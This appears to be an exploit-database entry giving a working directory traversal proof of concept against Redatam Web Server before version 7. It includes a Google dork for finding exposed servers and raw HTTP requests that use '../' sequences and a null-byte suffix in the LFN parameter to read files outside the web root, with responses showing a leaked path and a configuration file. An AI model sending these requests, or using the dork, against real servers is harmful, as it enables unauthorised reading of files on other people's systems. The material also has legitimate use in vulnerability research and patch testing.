Redatam Web Server < 7 - Directory Traversal
# Exploit Title: Redatam Web Server < 7 - Directory Traversal # Google Dork: inurl: /redbin/rpwebutilities.exe/ # Date: 2018-06-18 # Exploit Author: Berk Dusunur # Vendor Homepage: http://redatam.org/redatam/en/index.html # Software Link: https://www.cepal.org/en/topics/redatam/download-redatam # Version: before V6 # Tested on: Pardus Windows AppServ # CVE : N/A # Proof of Concept # Redatam web server windows server running LFN parameter affected by directory traversal # Making a wrong request causes directory leak # Request GET /redbin/rpwebutilities.exe/text?LFN=blablabla%00.htm&TYPE=TMP HTTP/1.1 Host: 192.168.1.104 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 # Response HTTP/1.1 500 Internal Server Error Date: Mon, 18 Jun 2018 10:04:44 GMT Server: Apache/2.4.23 (Win32) PHP/5.6.25 Content: Content-Length: 416 Connection: close Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <heading/> <body> <h1>R+SP WebUtilities Exception</h1> <p>Error Number [401]</p> <p><b>Error Message</b></p> <p>File not found in folder [C:\wamp\apps\redatam\redbin\] - [blablabla] Script directory /wamp/apps/redatam/redbin/ # Request 2 GET /redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl%00.htm&TYPE=TMP HTTP/1.1 Host: 192.168.1.104 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 # Response 2 HTTP/1.1 200 OK Date: Mon, 18 Jun 2018 10:11:44 GMT Server: Apache/2.4.23 (Win32) PHP/5.6.25 Title: ../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl Content: Content-Length: 2319 Connection: close Content-Type: text/html; charset=utf-8 [STRUCTURE] USERCONTROL=YES GROUPALIGN=LEFT SERVERTIMEOUT=1800 HTMLPATH=RpSite\ PORTALTITLE=CELADE/CEPAL, Nações Unidas PORTALSUBTITLE=Procesamiento En-Línea com REDATAM //PORTALCENTERIMAGE=/redatam/images/LogoRedatam7_520x390.png //PORTALBACKGROUNDHEADERIMAGE= //PORTALBACKGROUNDINDEXIMAGE= //PORTALBACKGROUNDOUTPUTIMAGE= |